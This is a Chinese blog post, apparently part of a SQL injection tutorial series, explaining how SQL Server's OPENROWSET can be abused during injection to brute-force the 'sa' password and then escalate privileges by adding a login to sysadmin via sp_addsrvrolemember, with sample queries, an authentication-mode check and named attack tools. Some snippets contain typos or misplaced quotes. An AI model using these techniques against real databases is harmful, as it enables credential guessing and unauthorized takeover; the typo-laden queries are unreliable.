SQL Injection(3)

0x01

在SQL Server中,openrowset命令可以实现对远程OLE DB数据源的一次性链接。DBA可以用它来检索远程数据库上的数据,以此作为永久连接两个数据库的一种手段,
在使用openrowset前首先要启用Ad Hoc Distributed Queries服务,因为这个服务不安全所以SqlServer默认是关闭的

启用Ad Hoc Distributed Queries的方法

SQL Server 阻止了对组件 ‘Ad Hoc Distributed Queries’ 的 STATEMENT’OpenRowset/OpenDatasource’

的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用

sp_configure 启用 ‘Ad Hoc Distributed Queries’。
启用Ad Hoc Distributed Queries的方法,执行下面的查询语句就可以了:

exec sp_configure 'show advanced options',1
reconfigure
exec sp_configure 'Ad Hoc Distributed Queries',1
reconfigure

使用完毕后,记得一定要要关闭它,因为这是一个安全隐患,切记执行下面的SQL语句

exec sp_configure 'Ad Hoc Distributed Queries',0
reconfigure
exec sp_configure 'show advanced options',0
reconfigure 
select * from openrowset('SQLOLEDB','Network=DBMSSOCN';Address=10.0.2.2;uid=foo;pwd=password,'select column1 from tableA')

该语句以用户foo连接到地址为10.0.2.2的SQL Server并执行select column1 from tableA查询,最外层的查询传递并返回该查询的结果。请注意,foo是地址为10.0.2.2的数据库的一个用户,而不是首次执行openrowset的数据库用户,另外还要注意,要想作为foo用户成功执行该查询,我们还必须提供正确的口令以便验证能通过。

使用openrowset在SQL注入中有广泛的应用,需要注意三点

  • openrowset必须提供执行连接的数据库上的有效凭证。
  • openrowset不仅可用于连接远程数据库还可用于执行本地连接;执行本地连接时,使用用户在openrowset调用中指定的权限
  • 在SQL Server 2005中默认是禁用该操作的
select * from openrowset( 'SQLOLEDB ', 'sql服务器名 '; '用户名 '; '密码 ',数据库名.dbo.表名) 

当可以执行openrowset时,可以借此来暴力破解sa口令并提升权限

select * from openrowset('SQLOLEDB','Network=DBMSSOCN';'Address=;uid=sa;pwd=foo','select 1')

如果foo是正确的口令,那么将执行该查询并返回1;如果口令不正确会放回错误

login failed for user 'sa'

所以可以通过暴力来破解了,当找到正确口令,可以使用sp_addsrvrolemember存储过程来将用户(可通过system_user来查找)添加至sysadmin组,这样可以很容易提升权限
sp_addsrvrolemember [ @loginame = ] ‘login’
[@rolename =] ‘role’
第一个参数是用户,第二个参数是将用户添加到的组

一般来说要注意的是,对方使用的验证方式是什么,只有目标sql server上启用了混合验证模式时,sa才会工作,可以注入下列代码来检测当前使用的是哪种认证模式,它决定了是否可以尝试攻击

select serverproperty('IsIntegratedSocurityOnly')

如果当前采用的只有windows验证,那么该查询返回1,否则返回0
,当然推荐一下这方面的工具,比如Bobcat.Burp Intruder和Sqlninja

这里只介绍以上点点内容,在oracle上的比较困难,在以后的文章中会仔细介绍

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值